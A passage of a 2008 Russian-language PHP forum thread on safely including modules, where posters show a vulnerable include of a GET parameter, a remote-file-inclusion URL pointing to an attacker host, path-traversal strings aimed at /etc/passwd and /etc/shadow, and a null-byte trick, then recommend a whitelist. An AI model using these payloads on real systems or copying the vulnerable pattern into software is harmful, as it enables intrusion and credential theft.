Форум → Программирование → PHP для идиотов → Помогите с правильной организацией структуры
Помогите с правильной организацией структуры
Страницы: ← Предыдущая страница • Следующая страница →
-
Май 7, 2008, 4:12 д.п., спустя 2 часа 35 минут 54 секунды
Ссылка: index.php?action=add. В коде: include ($_GET['action']."php");
Меняем ссылку на index.php?action=http://myhost.com/hack и выполняем свой сценарий hack.php на удаленной тачке.
Убедительно?
P.S. Еще читать здесь http://pyha.ru/forum/topic/130.0 -
Май 7, 2008, 5:16 д.п., спустя 1 час 3 минуты 50 секунд
ведь (повторюсь) путь к файлу указан уже. у хакера ничего не выйдет, будет попытка подключить файл "path/to/file/http://myhost.com/hack.php" -
Май 7, 2008, 7:02 д.п., спустя 1 час 46 минут
а если я вставлю, что-то типа: /../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf ? (если у тебя Денвер, попробуй)
Т.о. можно запихнуть тебе в скрипт любой файл с твоего сервера.
Никогда не передавай имя подключаемого файла в адресной строке. Вообще не передавай его никуда. Сделай какие-нибудь идетификаторы, типа: ?action=add, ?action=edit, а в сценарии уже проверяй их и подключай соответсвующие модули. -
Май 7, 2008, 12:23 п.п., спустя 5 часов 21 минуту 14 секунд
+1
что то типа
$modules = array(
'edit' => 'edit.php',
'delete' => 'delete.php'
[…]
);
include($modules[$_GET['action']]); -
Май 7, 2008, 1:24 п.п., спустя 1 час 34 секунды
Timur,/../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf
- банально =)
лучше так/../../../../../../../../../../../../../../../etc/passwd
или/../../../../../../../../../../../../../../../etc/shadow
-
Май 8, 2008, 2:03 д.п., спустя 12 часов 39 минут 32 секунды
Нету таких файлов httpd.conf.php, passwd.php, shadow.php :) -
Май 8, 2008, 3:39 д.п., спустя 1 час 35 минут 47 секунд
http://pyha.ru/forum/topic/130.msg1955#msg1955
Внимательней почитай. -
Май 8, 2008, 3:43 д.п., спустя 4 минуты 8 секунд
Кроме того, допустим все то же index.php?action=add, в коде: include ($_GET['action']."php");
А в админке есть admin.php?action=delete&id=10 (include ("admin/".$_GET['action']."php");) — удаление десятой новости допустим, причем права на доступ в админку проверяются в admin.php.
Дальше продолжать надо?
И подобного может быть полно. По-моему, лучше один раз от этого свитчем обезопаситься, чем постоянно писать проверки. -
Май 8, 2008, 4:44 д.п., спустя 1 час 36 секунд
Спасибо за пояснения.
В таком случае, мне кажется достаточно вырезать слэши из GET проблема исчезает. Так? -
Май 8, 2008, 6:37 д.п., спустя 1 час 53 минуты 36 секунд
Ёлочник, ну ё-моё :)
А если я напишу ?action=fuck? Что тогда будет вставлено в сценарий? Ничего, будет ошибка. Всё равно надо проверять, существует ли такой файл перед инклудом. -
Май 8, 2008, 7:04 д.п., спустя 27 минут 1 секунду
Timur, вопрос не в наличии/отсутствии проверки, если в GET подставить существующий левый файл, то проверка не поможет. А проверку естественно нужно делать, она там кстати есть ;) -
Май 8, 2008, 10:44 д.п., спустя 3 часа 40 минут 6 секунд
я чтото создал тему и забыл.
я сделал на файлах
все ваши надуманные %00 и прочая лабуда это недостатки самого php. может кто то использует перл и знает там есть такой флаг -t он означает что нельзя использовать переменную во внешних запросах (ну то есть нельзя будет подключить файл с именем принятым из ГЕТ) до тех пор пока ее не проверят регулярным выражением. ну собственно и тут проверяем простой регуляркой и file_exist, и не надо никаких массивов конфигурации это очень потом мешает жить… -
Май 8, 2008, 11:03 д.п., спустя 18 минут 16 секунд
CTAPbIu_MABP,все ваши надуманные %00 и прочая лабуда это недостатки самого php.
так наши надуманные или недостатки PHP? Вы уж определитесь…https://smappi.org/ - платформа по созданию API на все случаи жизни -
Май 8, 2008, 11:06 д.п., спустя 2 минуты 54 секунды
может кто то использует перл и знает там есть такой флаг -t он означает что нельзя использовать переменную во внешних запросах (ну то есть нельзя будет подключить файл с именем принятым из ГЕТ) до тех пор пока ее не проверят регулярным выражением.
а если какой-либо переменной присвоить "имя принятое из ГЕТ", то можно будет "подключить файл"? Или обязательно регуляркой? Перл следит за этим?)https://smappi.org/ - платформа по созданию API на все случаи жизни -
Май 8, 2008, 11:15 д.п., спустя 9 минут 40 секунд
сори, недостатки пыхи
он следит не за переменной а за значением
насколько я понимаю там всеравно какая регулярка хоть .*
Страницы: ← Предыдущая страница • Следующая страница →
Пожалуйста, авторизуйтесь, чтобы написать комментарий!